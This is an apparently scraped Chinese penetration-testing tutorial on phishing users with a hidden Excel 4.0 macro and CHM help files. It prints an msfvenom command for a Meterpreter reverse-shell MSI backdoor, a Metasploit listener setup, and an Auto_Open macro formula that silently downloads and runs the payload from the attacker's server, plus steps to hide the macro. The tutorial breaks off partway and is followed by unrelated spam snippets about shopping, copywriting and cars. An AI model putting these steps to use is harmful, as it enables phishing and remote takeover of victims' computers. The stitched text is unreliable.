渗透测试之地基钓鱼篇:thinkphp平台XSS钓鱼
渗透测试-地基篇:
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式 *** ,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
Excel一般指Microsoft Office Excel。这里就不用多说了,它跟office一样都是支持宏的,所以一样存在宏病毒。当我们把恶意的宏代码嵌入Excel中,用户打开Excel文件里的宏就会被触发,然后拿到对方电脑权限,并进行控制。
CHM是已编译的帮助文件,它是微软新一代的帮助文件格式,目前也是比较常见的一种文件了。
CHM的原理是支持Javascript、VBscript、ActiveX、JavaApplet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,并可以通过URL 与Internet联系在一起,那么这里就可以利用这些支持的形式,在里面注入恶意代码,在恶意代码层面上在做个免杀。
.Chm文件格式是HTML文件格式的扩展,所以接下来演示的是如何利用恶意代码注入html文本中,并创建chm的说明文件,通过上传用户下载后执行,在攻击机上直接控制对方电脑。
黑客(攻击者):
IP:192.168.2.153
系统:kali.2020.4
VPS服务器:
例如搭建了各种破解软件平台,供客户需求下载!
钓鱼地址:http://xxxx.dayuixiyou.cn
办公电脑:
系统:windwos7
IP:192.168.2.144
目前黑客利用kali运行了My *** Rat外壳 ,通过 *** Excel宏恶意后门和 *** CHM电子文件说明书进行上传,并诱骗安全意识差人员进行需求下载,并获得对方电脑权限的演示过程!!
演示 *** Excel是利用Excel 2016版本进行!
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.153 lport=6666 -f msi -o dayu.msi
利用msfvenom生成msi恶意后门文件,这里还有很多 *** 可以生成msi,免杀也可以在这里开始进行!
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.153
set lport 6666
exploit -j #持续监听
这里创建好监听后,等待被钓鱼到的客户进行反弹shell即可!
这里就假设kali是公网服务器,开启了apache后,将msi恶意文件上传到服务器....接下来就开始 *** 分离免杀的Excel恶意宏后门文件,我前面一片XSS文章利用Flash钓鱼也是利用了分离免杀效果,目前还是挺好用的!!最后我还会讲解到一些思路!!继续!!
首先在windwos环境利用excle2016创建一个.xlsx的文件!可看时间也是最新操作演示的!
创建好后双击打开,并在左下角邮件点击sh...,然后点击插入!
选择MS Excel 4.0宏表....
然后在左上角之一个格子输入:
=EXEC("msiexec /q /ihttp://192.168.2.153/dayu.msi") #调用执行服务器上的dayu.msi文件
第二个格子输入:
=HALT()? ? ? ? 标识Excel 4.0宏结束,类似C语言return指令
然后将左上角的A1模式手动输入:Auto Open,Enter回车即可!
为了避免对方打开能看到宏文件,以及增强隐蔽性,将宏进行隐藏!
Ctrl+S保存后,出现该提示,按照该提示进行点击否!
90x0201 不得已的操控逻辑追寻0x02 Listeners6、默许数据库地址blogdata/acblog.asa[1][2][3][4][5][6][7][8][9][10][11][12][...
每年的双11是购物者的狂欢,买买买,剁手,清空购物车是很多人的常态,对于没钱的人来说,只能通过花呗or控制剁手了,下面友谊长存带来双11没钱买东西说说。 双11没钱购物的搞笑句子 双11什么都不买...
文案不是简朴的对产物举办描写,而是看完要让用户心里有回响,引起人心知、情、意、欲。假如一个文案都无法让用户意识到它的存在,那建造费再贵也只是挥霍。 什么叫走心的文案? 就是你的文案看完之后要让人心动...
企业管理培训心得(企业管理培训心得) 企业管理培训心得体会 (一)科学决策能力。 决策是领导干部的主要职责。面对错综复杂的局面和瞬息万变的形势,领导干部要善于及时作出正确抉择。抉择不及时就会...
大家都知道义乌是全球最大的小商品批发城,因此义乌的快递业务也是非常繁荣的,及时快递邮费很低,但加起来也可以带来非常多的利润,根据一项报告显示,义乌快递量全球第一,是全球平均水平的2倍。那么,义乌快递量...
福特锐界白色车身帅气,沉稳大气,富有力量,家族式的六边形进气格栅一如既往的吸引人的眼光。 下面说说价格吧,以网友“warclub”的2.0T四驱豪锐版的提车作业来说说: 大家最关心的应该是...